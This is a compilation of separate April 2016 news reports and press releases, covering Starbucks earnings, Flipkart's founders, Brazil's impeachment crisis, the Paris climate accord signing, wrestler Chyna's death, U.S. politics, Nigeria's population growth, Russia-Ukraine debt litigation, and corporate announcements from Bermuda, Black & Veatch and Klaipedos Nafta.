Starbucks is one of the industry's best performers, delivering steady growth by entering new markets and finding diverse ways to boost revenue. Even with the sell-off, the stock was trading at $58.20 after hours, near its all-time high of $62.57 on Oct. 1.

Sales at established cafes in the Americas region grew 7 percent, after rising 9 percent in the first quarter. Starbucks, which is investing in mobile ordering and payments to win more business, recently irked some customers by tweaking its popular loyalty program to give rewards based on dollars spent rather than number of purchases.

"We may see some noise in Q3 comps as customers react to the new changes of the program," Starbucks Chief Operating Officer Kevin Johnson told analysts on a conference call after earnings were released.

Program membership grew 16 percent year-over-year to 12 million in the United States, Starbucks said.

The China/Asia Pacific region (CAP), where Starbucks has expanded aggressively in recent years, posted 3 percent sales growth.

Company executives said Starbucks' China business remains strong even as the economy there cools. The inclusion of results from slower-growing Japan weighed on the results, they said.

Europe, the Middle East and Africa (EMEA) had sales growth of 1 percent. "This was in an extremely challenging consumer, economic, geopolitical environment across the region," Johnson said.

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Analysts had expected gains of 4.6 percent from CAP and 3.4 percent from EMEA.

Seattle-based Starbucks narrowed its full-year profit forecast to $1.88 to $1.89 per share, from a previous range of $1.87 to $1.89. Analysts' estimates were at the top end of that range, according to Thomson Reuters I/B/E/S.

Second-quarter net income was $575.1 million, or 39 cents per share, matching the average of analysts' profit estimates complied by Thomson Reuters I/B/E/S. A year earlier, Starbucks had net income of $494.9 million, or 33 cents per share.

(Reporting by Lisa Baertlein in Los Angeles; Editing by Richard Chang)
India-Flipkart

Flipkart founders Sachin Bansal, and Binny Bansal (not related) have become the first Indian e-commerce entrepreneurs to be named among the 100 most influential people in the world by Time magazine.

Now in its 13th year, the 100 most influential peoples list is released annually and recognises the activism, innovation, and achievement.

Binny and Sachin do have modest lifestyles, by billionaire standards, but theyre also nimble tacticians and hardheaded realists, and they dream big, Time said. Theyll have to fight it out with foreign heavyweights like Amazon and Alibaba, but its safe to say that no one is going to underestimate Binny and Sachin again.

The early thirties duo was named under the titans section of Times list, along with technology heavyweights such as Facebook CEO Mark Zuckerberg (and his wife Priscilla Chan), Apple CEO Tim Cook, and Sundar Pichai, the India-born CEO of online search giant Google.

This is truly a recognition of the Indian internet ecosystem and its role in using technology to solve local problems that is enabling Indians to lead a better life, Flipkart co-founders said in a statement. It reinforces our resolve to fast track Flipkarts mission of transforming commerce in India through technology.

The entrepreneurs made their debut on Forbes India Rich List in 2015 at number 86 with a net worth of $1.3 billion each.

Former employees for American e-commerce giant Amazon, Sachin Bansal and Binny Bansal, who met at Indian Institute of Technology, Delhi, started Flipkart in 2007 as an online bookstore from their apartment in Bengaluru.

The Bengaluru-based online marketplace is now the largest home-grown player in the Indian e-commerce market, with a reported gross merchandise value (GMV, or the total value of goods sold) of $10 billion. Flipkart has raised around $3.15 billion, according to CrunchBase, a startup database platform.

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Flipkart has over 75 million registered users, 33,000 employees, 14 warehouses, and gets 10 million daily page visits, according to its website.

In the recent months, however, Fxipkarts prospects have dimmed. In March, investor Morgan Stanley trimmed the companys valuation by $4 billion to $11 billion. More recently, another investor, T. Rowe Price devalued its investment in the company by 15.1%.

Other Indians named in Times most influential list this year are Reserve Bank of India governor Raghuram Rajan, Bollywood actor Priyanka Chopra, and environmentalist Sunita Narain.

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By Anthony Boadle and Alonso Soto BRASILIA (Reuters) - Brazil's ruling Workers Party, reeling from a humiliating defeat in an impeachment vote in Congress, is threatening to bring the country to a standstill with mass protests against what it calls a 'coup' to topple President Dilma Rousseff. Party leaders' pledges to take their fight to the streets, after the lower house on Sunday backed a motion to impeach Rousseff, have raised fears they will attempt to destabilize a transitional government in Latin America's largest economy. But the party's popularity has been shattered by a deep recession and a succession of graft scandals during its 13-year rule. It is a shadow of the organization that once commanded near fanatical support among Brazil's poor, and will struggle to sustain its fight against impeachment, analysts say. Protests are part of the Workers Party (PT) DNA. Born in the grim industrial belt that rings Sao Paulo, it emerged from a union-led pro-democracy movement in the twilight of Brazil's military dictatorship in the 1980s. It slowly developed into a formidable political machine. Brazil's first working class national party has won four straight presidential elections since Luiz Inacio Lula da Silva's breakthrough in 2002. Yet formerly-loyal labor unions and leftist social movements have distanced themselves from the unpopular Rousseff because of belt-tightening moves adopted last year in a failed bid to curb Brazil's runaway budget deficit. Abandoned by many of its allies within Congress as the political crisis has deepened, the party's national decline could accelerate once it loses its grasp on power and control over government resources and jobs, analysts say. It would automatically relinquish the presidency if, as expected, Rousseff is put on trial in the Senate next month for breaking budget rules. The reins of power would pass to Vice President Michel Temer, denounced as a 'traitor' by Workers Party leaders, who would see out her term until 2018 if Rousseff is found guilty. Party insiders and other political sources in Brasilia say the PT would not be able to keep up protests for long. "Support for the PT has deteriorated, the party is weak," said Marco Antonio Baratto, the bearded leader of the Landless Workers' Movement (MST), a long-time ally of the PT frustrated by its lack of leftist reforms while in government. "If you go to the slums today to defend the government or Dilma, they chase you away." Speaking at a rally in Brasilia on Saturday against impeachment, he made plain the PT could not rely on automatic support from his movement: "If the government does not represent the interests of the workers, it will have a problem with us." RIGHT-WING CONSPIRACY Workers Party leader Rui Falcao on Tuesday repeated calls for members to take to the streets to oppose what he called a right-wing conspiracy to roll back social benefits won by Brazil's poor since Lula took office in 2003. "The PT will not give a possible Temer government any peace," he said at a news conference in Sao Paulo, with party founder Lula at his side. "Our opposition will go far beyond Congress. We are telling society that an illegitimate government will have no peace, there will be a fight." The rhetoric of class-struggle has resonated with some grass-roots supporters. "We'll go to the streets, we'll fight, because it's the only weapon we've got," said Jose Lacerda, 50, holding a red cap in his hands, standing outside Brazil's Congress building after Sunday's vote. But many Brazilians blame the Workers Party's economic stewardship for worsening the deepest recession since the 1930s, which has thrown millions out of work and pushed unemployment to more than 10 percent of the workforce. That in turn has reduced the clout of the unions and the PT's sway among organized labor. When Lula swept to power as Brazil's first working class president, voters celebrated his pledges to clean up Brazil's corrupt and fragmented political system. But PT involvement at the heart of a massive graft scheme designed to systematically milk political kickbacks from suppliers to state controlled Petroleo Brasileiro has shocked Brazilians used to decades of corruption scandals. Leading figures from the PT have been jailed, including former party Treasurer Joao Vaccari Neto, who was sentenced to 15 years in prison in September. Lula himself is being investigated for allegedly receiving a luxury seaside penthouse and a country estate from companies implicated in the graft investigation. While he remains Brazil's most influential politician, Lula's prestige and influence has been badly dented by the scandal. Weariness with the PT has grown even among working class Brazilians, who have little appetite for a fight amid the dire economic situation. "Lula will not be able to maintain pressure from the streets for very long because he is losing face with Brazilians, and the protests would further damage his credibility," said Thiago de Aragao at Brasilia-based consultancy Arko Advice. As Sunday's impeachment vote ended in Rousseff's defeat, hundreds of PT supporters sat downcast on red flags and banners. "The party won't recover from this loss," said Renato Bonetti, a social activist who traveled for 30 hours from the state of Parana in Brazil's south to march against impeachment. "I'm not even sure I'll vote for them next election." (Reporting by Alonso Soto and Stephen Eisenhammer; Writing by Anthony Boadle; Editing by Daniel Flynn and Andrew Hay)
United Nations officials say it's historic, part of a "gathering momentum" for action on climate change. Over 160 countries, including Canada, are expected to sign the Paris Agreement on climate change at a ceremony at the UN in New York today.

The agreement was reached in Paris last December but April 22  Earth Day  is the first day countries can actually sign the agreement.

Warming global temperatures since the Paris conference may be helping spur the momentum.

The year 2015 broke 2014's record for the hottest year ever, and the first three months of 2016 have already eclipsed the prior record highs for those months. In fact, March makes it a string of 11 monthly records for that month's hottest, according to the U.S. National Oceanic and Atmospheric Administration.

That data adds to doubts that meeting the national targets for the Paris Agreement will be enough to achieve its goal of limiting the warming of global temperatures to well below two degrees Celsius, and ideally below 1.5 degrees, from pre-industrial levels.

Global temperatures are already one degree above pre-industrial levels and rising.

So what's the big deal about signing the Paris Agreement?

Over 160 national governments are expected to sign the agreement today. The others have a year to add their signatures. About three-quarters will be represented at the signing ceremony by their heads of state, Selwin Hart, director of the Secretary General's Climate Change Support Team, told a media briefing on Tuesday.

He termed the ceremony historic, because it will easily surpass the record of 119 signatures on the opening day for signing an international agreement. That record was set in 1994 for signing the Law of the Sea treaty.

Hart said the ceremony is part of "gathering momentum" for action, "a good sign that political commitment remains strong and countries are committed to ensure that this agreement enters into force as soon as possible."

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Signing the agreement is just symbolic, though. What really matters is ratification. Hart expects about 10 countries to also deposit their "instruments of ratification" at the signing ceremony.

He said the process "is happening faster than anyone anticipated," adding that Secretary General Ban Ki-moon has asked the countries to indicate in their remarks today when they intend to ratify the agreement.

When does the agreement enter into effect?

Thirty days after at least 55 countries, which together produce at least 55 per cent of the world's greenhouse gas emissions, confirm their ratification or agreement to the UN secretary general, the Paris Agreement goes into effect.

The two biggest emitters, China and the U.S., issued a joint statement on March 31, indicating they would ratify the agreement this year, "with a view to bringing the Paris Agreement into force as early as possible."

They account for about 38 per cent of global greenhouse gases, followed by Russia, India, Germany and Japan. Together, those six countries account for over 55 per cent, according to the UN Framework Convention on Climate Change.

What is Canada doing?

Prime Minister Justin Trudeau is in New York for the signing ceremony, along with Environment Minister Catherine McKenna.

McKenna says the government will first prepare its own climate plan before ratifying the Paris pact this fall. "We need to have a plan to meet our international obligations, and we have six months to do that," she told CBC News this week.

Her government went to Paris with a plan drafted by the previous Conservative government.

What happens after the Paris Agreement takes effect?

No one should have come away from the Paris talks expecting that the national commitments would be enough to keep global warming below two degrees, not to mention 1.5 degrees.

However, the agreement commits countries to become more ambitious in their targets and sets out a process to achieve that. Every five years, countries will take stock of their progress toward limiting the temperature increase to less than two degrees, starting in 2018.

Nevertheless, Kevin Trenberth, a senior scientist at the National Center for Atmospheric Research, told the New York Times this week, "I don't see at all how we're going to not go through the 1.5 degree number in the next decade or so."

While temperature records get broken, what progress has there been since the Paris conference?

The Washington-based World Resources Institute lists these "signs of progress":

- $286 billion US invested in renewable energy worldwide, a record high and more than twice the amount committed to fossil fuel power plants.

- Energy-related carbon emissions have stalled while the world economy continues to expand, according to the International Energy Agency. So far this century, 21 countries have recorded a reduction in their annual greenhouse gas emissions while growing their economies.

- Clean energy investment soared in China last year, while coal consumption fell.

- The U.S. and Canada agreed to significantly cut methane emissions from existing oil and gas operations.

- Following the Paris talks, more than 500 new commitments have been recorded in a database that tracks climate commitments by non-state actors.

Do the Republican front-runners support the Paris Agreement?

Donald Trump and Ted Cruz reject the scientific consensus on climate change, so the agreement could be in trouble if one of them wins the U.S. election in November.

In March, Trump told the Washington Post's editorial board that he's "not a big believer in man-made climate change."

While chairing a hearing of the U.S. Senate's subcommittee on space, science and competitiveness in December, Cruz said, "There has been no significant global warming for the past 18 years." He has said advocates of the "pseudo-scientific theory" of climate change are using it to bring about "massive government control of the energy sector, the economy and every aspect of our lives."
A WWE star who became one of the most popular female wrestlers in history has been found dead at the age of 46.

Chyna, whose real name was Joan Marie Laurer, was discovered dead in Redondo Beach, southern California, on Wednesday.

Police said they were called by a friend who had become concerned at not hearing from her for several days.

Chyna's manager Anthony Anzaldo said she had been "found lying peacefully" on her bed.

A short statement on her official Twitter account described Chyna as "a true icon, a real life superhero".

It read: "The 9th wonder of the world has passed away. She will live forever in the memories of her millions of fans and all of us that loved her."

Chyna billed herself as the "Ninth Wonder of the World" - her wrestling predecessor Andre the Giant had already called himself the eighth.

Los Angeles County's assistant chief coroner said police initially reported the death as a "possible overdose".

He said a post-mortem examination was planned in the next few days, but it could be weeks before toxicology test results are known.

TMZ quoted anonymous sources as saying prescription bottles - but no illegal drugs - were found at Chyna's home.

Days before she was found dead, she posted a 13-minute YouTube video of herself wandering around her apartment.

In the clip, she drinks a breakfast smoothie and looks out the window of her seaside apartment, asking: "How lucky am I?"

According to her website, Chyna turned to fitness to escape a difficult childhood and rose to be considered a female "pioneer" in the male-dominated sport of wrestling.

The peak of her fame was in the late 1990s when she became the first woman to compete in the Royal Rumble.

After leaving wrestling in 2001, she appeared in Playboy Magazine and on several reality television shows, including The Surreal Life in 2005.

She made six adult films between 2004 and 2013, including Avengers XXX: A Porn Parody, before heading to Japan to teach English for a while.

Throughout her career she struggled with addiction and in 2008 she appeared on Celebrity Rehab with Dr Drew.
By Patricia Zengerle and Susan Cornwell WASHINGTON (Reuters) - U.S. House Speaker Paul Ryan did not immediately endorse a Senate bill on Tuesday that would allow Americans to sue the government of Saudi Arabia over the Sept. 11 attacks, saying it should be reviewed to ensure it would not hurt diplomatic relations. With President Barack Obama traveling to Saudi Arabia Tuesday, lawmakers have been discussing the "Justice Against Sponsors of Terrorism Act," which passed the Senate Judiciary Committee in January but has not been scheduled for debate in the full Senate or the House of Representatives. "I think we need to review it to make sure that we're not making mistakes with our allies and that we're not catching people in this that shouldn't be caught up in this," Ryan, a Republican, told reporters. Some U.S. citizens whose relatives were killed in the 2001 attacks want to be able to sue Saudi Arabia because most of the 19 hijackers were Saudi nationals. The al Qaeda militant group, then based in Afghanistan, was blamed and the United States and its allies invaded the country. No U.S. investigation to date has reported finding evidence of Saudi government support for the attacks. White House spokesman Josh Earnest said Obama did not support the legislation and would not sign it. Obama will seek to reassure Gulf allies about Washington's support on his trip. Some lawyers working with the Sept. 11 victims' families have insisted that the bill would come up for a vote quickly and easily pass Congress. But Senate Majority Leader Mitch McConnell, a Republican, said no vote has been scheduled. Senate aides said there was at least one Republican "hold" on the measure. "I'm still looking at it," McConnell told reporters, calling the measure an "important" bill. BILL NOT FINALIZED Republican Senator Bob Corker, chairman of the Senate Foreign Relations Committee, said lawmakers and the Obama administration were trying to resolve concerns about whether individuals should be able to sue foreign governments. "There are some sovereign immunity issues that need to be worked through," Corker said. He declined to comment on whether he supported the legislation, because the bill has not been finalized. The New York Times reported on Friday that Saudi Foreign Minister Adel al-Jubeir told U.S. lawmakers his country would be forced to sell up to $750 billion in U.S. assets in response to the bill if it passed. Several members of Congress and senior aides said they were unaware of any such threat, outside of the newspaper's report. Democratic Senator Chuck Schumer, a lead bill sponsor said the Saudis had not talked to him about that threat. But he, and other senior Democrats said they wanted the bill to move ahead despite the White House's objections. "If the Saudi government was complicit in terrorism, and a trial so determines, it would be a real deterrent to other governments not to be complicit in terrorism," said Schumer, who represents New York, the state hardest hit in the attacks. Corker said he had been in close contact with the administration, but had not discussed the bill with Saudi officials for some time. Ryan said the bill did not come up while he was on a visit to Riyadh. Republican Senator Chuck Grassley, the chairman of the Judiciary Committee who supports the bill, said it was tied up by State Department concerns about sovereign immunity. "I think Americans need some redress when they're hurt." (Additional reporting by Susan Cornwell, Richard Cowan and David Alexander)
By Ulf Laessing LAGOS (Reuters) - Waiting at a crowded bus stop for a ride to work, Osheme Antoine dreams of raising a big family one day. Such dreams, shared by millions, mean Nigeria's bus queues are likely to get even longer in decades to come. President Muhammadu Buhari's budget plan for this year boosts investment in new roads, railways and power supply in the hope of dragging his nation of 188 million out of deep poverty. But in Lagos, home to 23 million, spending is quickly outpaced by the growth of the city's population by thousands every day, from both a high birthrate and the migration of people from rural areas looking for work. Some 1.2 million commuters head into Lagos each day. The three connecting bridges from the vast slum districts on the mainland are jammed until late morning. "There are too many unemployed people," said Antoine. But while complaining about the crowds, the 37-year-old wants plenty of children himself. "My parents had 12 so don't expect me to go for two children only, but rather six or seven," he said. Buhari plans capital expenditure of $9 billion this year, three times more than in 2015. But with the national population growing annually by 3 percent, Lagos alone needs to spend $50 billion in the next five years, said Ashade Jeremiah, Lagos state commissioner for budget and planning. "But our (2016) budget is just 3 billion," he said. UNEMPLOYED The country will have 300 million people by 2030, according to the U.N., and 20 years later it will be the world's third most populous nation after China and India, with 400 million. To cope Nigeria would need to double the numbers of schools, hospitals and roads, said Osaretin Adonri, Assistant Representative at the U.N. Population Fund in Nigeria. The country's big oil revenues have enriched only an elite, but account for 70 percent of state revenue. Government income crashed by around half in 2015 because of the collapse in world crude prices and looks unlikely to recover much soon, analysts say. Analysts say Nigeria's economy would need to grow at double-digit rates for years to provide sufficient jobs. But for 2015, the International Monetary Fund expects it to slow to 2.3 percent after 2.8 last year. Some unemployed are easy recruits for Boko Haram, fighting a violent campaign to set up an Islamic state in the northeast. "We have a pool of young persons that are probably not very educated and those who are educated do not have jobs," said Adonri. "They become a ready army for the kind of insurgencies and the disturbances we are seeing in parts of the country." Many of the poor head for Europe, travelling overland to Libya from where smugglers ship them to Italy. The European Union saw the number of Nigerian asylum seekers triple last year compared to 2014. Most say they are fleeing Boko Haram but officials describe many as economic migrants. SURVIVAL Global banks say the country is a potentially huge market for everything from TV sets to textiles and cars. But for most Nigerians life is about mere survival, as 70 percent live on $1 a day or less. Adding to the pressure on Lagos, Boko Haram is driving people south. Buhari's predecessor Goodluck Jonathan, a Christian, called for unspecified birth control policies but abandoned the idea amid public outcry. Buhari, a Muslim, has steered clear of the subject. The population issue is inflamed by cultural rivalries. The country is divided between Christians, mainly in the south, and Muslims in the north. Each community often says it makes up the majority. Last month, the governor of the northern Muslim state of Borno said 70 percent of Nigerians would be Muslims in a few years - a claim dismissed by southerners. The U.N. Population Fund is trying to improve health facilities in the hope that reducing infant mortality rates will lead women to have fewer children. "There should be a kind of family planning in Nigeria because jobless people keep having children," said Amaka Roselin, a Christian mother of one child, after getting off her bus from the mainland with a swarm of other commuters. But the saleswoman still wants more children herself: "As many as God can give me," she said. (Editing by Andrew Roche)
By Steve Holland and Emily Stephenson HOLLYWOOD, Fla./WASHINGTON (Reuters) - Republican presidential front-runner Donald Trump attacked his top Democratic rival Hillary Clinton on Friday, calling her "crooked," and promised his supporters that he would not bore them by becoming overly presidential. The comments undercut what his aides had said would be an attempt by the notoriously blunt-speaking Trump to project a more serious image after his win in New York's nominating contest this week, including by rolling out more policy details. "I can tell you that if I go too presidential, people are going to be very bored," the New York real estate baron told Fox News in an interview that will air on Saturday. He added that he worried his supporters would "fall asleep." He went on to say that Clinton "is a person who's got many, many flaws" and that she's "the worst possible representative a woman can have," as he shifted his focus away from Republican rivals and toward the Nov. 8 presidential election. "The only thing she's got going is the women card," Trump said in the excerpts released by the network on Friday. "We call her 'Crooked Hillary' because she's a crooked person. She's always been a crooked person." Clinton said at a campaign event in Pennsylvania she would not respond to Trump's comments about her. Donna Hoffman, the head of the political science department at the University of Iowa, said Trump's fiery personality had put him in a bind at this stage of the race. "The impetus to become more presidential is coming from some of the elite organs of the GOP, but he got to where he is today because of his persona," she said. "To continue this way will keep him alienated from the party, but to change means his supporters will question his authenticity." In a strong signal that his persona matters, a January survey showed that among Trump's supporters about 43 percent said they liked him because he "speaks his mind," while only 8 percent cited his policies. The survey was conducted by the Working America arm of labor organization AFL-CIO. Trump's win in his home state of New York on Tuesday bolstered his chances for the Republican presidential nomination, prompting a more serious study of his prospects in the general election. Trump will give a foreign policy speech on Wednesday at the National Press Club, part of an expanded policy roll-out the campaign is planning, his aides told Republican leaders and lawmakers this week. The speech will come the day after a round of primary contests in Connecticut, Delaware, Maryland, Pennsylvania and Rhode Island, in which polls show him likely to do well. REPUBLICANS GATHER IN FLORIDA But Trump's rivals have said he lacks foreign policy expertise, and several foreign leaders have said they are concerned about the idea of Trump in the White House. "The mantra that somehow Donald Trump has become the presumptive nominee after New York is ridiculous," Chad Sweet, campaign chairman for Texas Senator Ted Cruz, said on CNN on Friday. Nationally, Trump has support from nearly half of all Republicans, compared with 28 percent for Cruz and 17 percent for Ohio Governor John Kasich, according to a Reuters/Ipsos poll. "Now theres no path to victory for Cruz so he should get out. They should both get out, Trump told supporters in Harrington, Delaware. "And when they get out ..., we will start on Hillary Clinton like nobodys ever seen." Republican National Committee Chairman Reince Priebus said on Friday the party was prepared for numerous scenarios, including a contested convention if no Republican has earned the 1,237 delegates needed to secure the nomination. Republican National Committee officials gathered in Hollywood, Florida to take stock of the race for the White House and prepare for the possibility of a contested convention in July in Cleveland. Mexico's new ambassador to the United States, Carlos Sada, vowed on Thursday to combat negative publicity in the U.S. campaign after Trump accused Mexico of sending drug traffickers and rapists into the United States and vowed to build a wall at the border. Japanese firms said in a Reuters poll released on Wednesday that a Trump presidency would harm security partnerships. (Reporting by Steve Holland in Hollywood, Florida, and Doina Chiacu and Susan Cornwell in Washington; Additional reporting by Megan Casella; Writing by Emily Stephenson; Editing by Richard Valdmanis and Cynthia Osterman)
By Alessandra Prentice and Lidia Kelly KIEV/MOSCOW (Reuters) - Russia has agreed to allow Ukraine extra time to file its defence with a British court over a $3 billion (2 billion pounds) debt to Russia, Moscow and Kiev officials said on Friday. Russia filed a lawsuit against Ukraine in February at London's High Court demanding repayment of the $3 billion Eurobond, which matured on Dec. 20. Meanwhile Ukraine insists Russia must accept restructuring terms agreed with other foreign creditors. Russia said on Monday it would not agree to Ukraine's request for more time to file a defence, but on Friday it reversed its position. "Russia has belatedly conceded to the entirety of the additional time Ukraine has requested," Ukraine's finance ministry said in a statement. "(It is) pleasing that Russia has eventually seen sense on this issue and avoided wasting the Court's time in dealing with an issue which Russia was destined to lose," it said. Russian Finance Minister Anton Siluanov said that Moscow was giving the new Ukraine government a chance. "We have given the new government of Ukraine extra time in order for Kiev to soberly assess the situation, revise previously stated positions and begin good faith negotiations with Russia," Siluanov said. A source familiar with the proceedings said the court order stated this extension was final and no further extensions would be granted. The lawsuit has become yet another bone of contention between the one-time allies, whose relations are at an all-time low following Russia's annexation of Ukraine's Crimea peninsula and a costly pro-Russian separatist conflict in eastern Ukraine. Originally, Ukraine had until March 19 to file its defence although it was granted an extension until April 16. It has since asked for the second extension until May 27. The Eurobond in question was issued by the government of former president Viktor Yanukovich just two months before he fled to Russia in February 2014 amid bloody street protests. They were triggered by Yanukovich seeking to halt Ukraine's move towards European integration in favour of closer economic ties with Russia. Ukraine refused to repay the bond, including it in the external debt it earmarked for restructuring as part of an International Monetary Fund-led bailout programme. Moscow insists the bond is sovereign debt and should not be part of the programme. (Reporting by Alessandra Prentice and Lidia Kelly; Additional reporting by Karin Strohecker in London and Darya Korsunskaya in Moscow; Editing by Richard Balmforth)
HAMILTON, Bermuda, April 21, 2016 (GLOBE NEWSWIRE) -- The benefits of Bermuda-based captive insurance for Latin American corporations is the focus of a webinar being hosted by the Bermuda Business Development Agency (BDA) next week.



A photo accompanying this announcement is available at http://www.globenewswire.com/NewsRoom/AttachmentNg/0e3edc38-26c8-4b42-a514-b9a090b6206f

The hour-long webcast, scheduled for 1 pm Bermuda time/AST (GMT -4), Wednesday, April 27, will be conducted entirely in Spanish. A panel of Bermuda-based experts will discuss how corporations can reap the substantial advantages of establishing a Bermuda captive insurance company to self-insure a variety of industry needs and risksfrom cyber and healthcare to employee benefits.

The session will look at what a captive is, how to incorporate a captive, along with Bermuda regulatory, tax and legal considerations. Using case studies, panellists will discuss Bermuda captive benefits, including risk management, asset protection, and efficient access to the global reinsurance market. The webinar is the eighth staged by the BDA and the second in Spanish.

Over the past year, the BDA has conducted several roadshows throughout the LatAm region and weve seen a lot of follow-up interest in Bermuda, said Jereme Ramsay, BDA Business Development Manager for the Risk Sector. This webinar is a great way to reiterate the Bermuda message, and highlight our market strengths as a captive and reinsurance leader.

Bermuda has TIEAs with Mexico, Colombia, Argentina and Brazil, while multilateral treaty signatories additionally include Chile. Bermuda is currently home to close to about 300 companies from Latin America across multiple sectors. Notably, some of the largest companies from the region have formed captives and other investment vehicles on the Island, including Colombias Ecopetrol, Pacifico Rubiales, and the Carvajal Group.

The session will be moderated by Giulianna Molero Solari, Manager, Captive Insurance, PwC Bermuda, who will also deliver a case study, and will also feature as panellists Andres Carmona, Finance Manager, Marsh, and Eduardo Fox, Manager, LatAm Global & Corporate/Commercial & Trusts Sectors, Appleby.

Registrants will receive online access to the live webinar followed by a question-and-answer session, and a post-webinar download of the presentation. Questions during the webinar session can be emailed to info@bda.bm or tweeted to @investBermuda #BDAcaptive.

To sign up, click here: https://attendee.gotowebinar.com/register/5816470760269030146

CONNECTING BUSINESS

The BDA encourages direct investment and helps companies start up, re-locate or expand their operations in our premier jurisdiction. An independent, public-private partnership, we connect you to industry professionals, regulatory officials, and key contacts in the Bermuda government to assist domicile decisions. Our goal? To make doing business here smooth and beneficial
ABU DHABI, United Arab Emirates, April 22, 2016 (GLOBE NEWSWIRE) -- Black & Veatch, a global leader in alternative water supply solutions, received the Distinction Award for Desalination Company of the Year at the 2016 Global Water Summit. Black & Veatch captured the award based on a number of its key desalination projects and research efforts that push the boundaries of holistic water treatment and management.



The Global Water Awards, announced April 19 at the Global Water Summit in Abu Dhabi, United Arab Emirates, recognize outstanding companies and projects in the water, wastewater and desalination sectors that are moving the industry forward through improved performance, innovation and sustainable financial models.

In 2015, Black & Veatch secured key desalination consultancy contracts with the Public Utilities Board (PUB) in Singapore, the government of the Hong Kong special administrative region and the Saline Water Conversion Corporation in Saudi Arabia. In the U.S., Black & Veatch served as an independent engineer on the Claude Bud Lewis Carlsbad Desalination Plant project in California, commissioned in 2015. That project was named 2016 Desalination Plant of the Year in the Global Water Awards program.

Additionally, Black & Veatch is leading engineering design, procurement, field inspection and pre-commissioning as the engineer of record for the marine and desalination elements of the Escondida Water Supply project in Chile. When complete, the project will deliver 57 million gallons per day of water to Escondida, the worlds largest copper mine, and it will be the largest seawater desalination plant in North and South America. The Escondida mine is majority-owned and operated by BHP Billiton.

Achieving resilience is a major priority for the water industry, said Cindy Wallis-Lage, President of Black & Veatchs Water business. Desalination and water reuse are key alternative water treatment technologies that go hand-in-hand with enhancing flexibility and resilience. They are tools to help systems withstand the extremes created by changing weather patterns and other factors that strain our water supplies. We are proud of the difference-making projects we deliver around the globe.

The Orange County (California) Groundwater Replenishment System Initial Expansion project, which came online in 2015, recieved the Distinction for Water Reuse Project of the Year. The Black & Veatch-designed expansion for the project illustrates the technological similarities between water reuse and brackish water desalination. On another water reuse project, PUBs Changi NEWater II plant, Black & Veatch is serving as owners engineer. That project, Singapores fifth NEWater facility, was honored as the 2016 Water Deal of the Year.

Editors notes:

Learn more here about Black & Veatchs desalination and water reuse capabilities.

The Global Water Awards were established in 2006 by Global Water Intelligence, a leading news and thought leadership publication covering the water industry.

The Orange County Groundwater Replenishment Initial Expansion boosted the systems capacity from 70 million gallons per day to 100 million gallons per day.

On the Claude Bud Lews Carlsbad Desalination Plant, Black & Veatch helped to resolve funding, technical and permitting issues on the project, which brings 54 million gallons per day of desalinated seawater to drought-impacted Southern California.

PUBs Changi NEWater II project will create potable quality water from polished secondary treated municipal wastewater. As owners engineer, Black & Veatch worked with PUB to help seal the contract with Beijing Enterprise Water Group.





About Black & Veatch

Black & Veatch is an employee-owned, global leader in building critical human infrastructure in Energy, Water, Telecommunications and Government Services. Since 1915, we have helped our clients improve the lives of people in over 100 countries through consulting, engineering, construction, operations and program management. Our revenues in 2015 were US$3 billion. Follow us on www.bv.com and in social media.

Media Contact Information:

CHRISTOPHER CLARK | +1 913-458-2778 P | +1 816-674-0572 M | clarkca@bv.com

24-HOUR MEDIA HOTLINE | +1 866-496-9149
Lithuanian English

Notice is hereby given that on the initiative and by the resolution of the Board of AB Klaipedos Nafta, legal entity code 110648893, with the registered office at Buriu g. 19, Klaipeda (hereinafter, the Company), from 18 March 2016, an ordinary General Meeting of Shareholders of the Company will be held on 26 April 2016 at 1:00 p.m. The meeting will be held in the Companys offices at Buriu g. 19, Klaipeda, in the administrative premises of the Company (in the hall of the meeting on the 2nd Floor).

Agenda of the meeting:

1. On the announcement of the Auditors Report regarding the Financial Statements and Annual Report of the Company for the year 2015 to the shareholders.

2. On the announcement of the Annual Report of Klaipedos nafta, AB for the year 2015 to the shareholders.

3. On the approval of the audited Financial Statements of Klaipedos nafta, AB for the year 2015.

4. On the appropriation of profit (loss) of Klaipedos nafta, AB for the year 2015.

The shareholders will be registered from 12.00 a.m. to 12.55 a.m. The persons intending to participate in the meeting shall have a personal ID document (an authorised representative shall have additionally a proxy approved under the established procedure. The natural persons proxy shall be notarised. A proxy issued in a foreign state shall be translated into the Lithuanian language and legalised under the procedure prescribed by laws).

A shareholder or his proxy shall have the right to vote in writing in advance by filling in a general ballot paper. At the request of the shareholder, the Company shall send a general ballot paper to the shareholder by registered mail free of charge at least 10 days before the meeting. The filled-in general ballot paper and the document attesting the voting right shall be submitted to the Company no later than until the meeting, sending by registered mail or providing them at the address of the registered office of the Company indicated in the notice.

The shareholders who hold shares carrying at least 1/20 of all the votes may propose additions to the agenda of the general meeting of shareholders by submitting with every proposed additional item of the agenda a draft resolution of the general meeting of shareholders or, when no resolution is required, an explanation. Proposals on addition to the agenda shall be submitted in writing or sent by e-mail. Written proposals shall be submitted to the Company on business days or sent by registered mail at the address of the registered office of the Company indicated in the notice. Proposals submitted by e-mail shall be sent to the following e-mails: info@oil.lt and r.valunas@oil.lt. The agenda shall be supplemented if the proposal is received no later than 14 days before the ordinary general meeting of shareholders. If the agenda of the general meeting of shareholders is supplemented, the Company shall notify on the additions no later than 10 days before the meeting in the same ways as in the case of convocation of the meeting.

The shareholders, who hold shares carrying at least 1/20 of all the votes, at any time before the general meeting of shareholders or during the meeting, may propose new draft resolutions on items which are or will be included in the agenda of the meeting. The proposals may be submitted in writing or sent by e-mail. Written proposals shall be submitted to the Company on business days or sent by registered mail at the address of the registered office of the Company indicated in the notice. Proposals submitted by e-mail shall be sent to the following e-mails: info@oil.lt and r.valunas@oil.lt.

The shareholders shall have the right to submit to the Company in advance questions relating to the items on the agenda of the meeting. The shareholders may submit their written questions to the Company on business days or send by registered mail at the address of the registered office of the Company indicated in the notice no later than 3 business days before the meeting. The Company will reply to the questions by e-mail or in writing before the meeting, except the questions which are related to the Companys commercial (industrial) secret, confidential information or which have been submitted later than 3 business days before the meeting.

The Company does not provide the possibility of participating and voting at the meeting by means of electronic communications means.

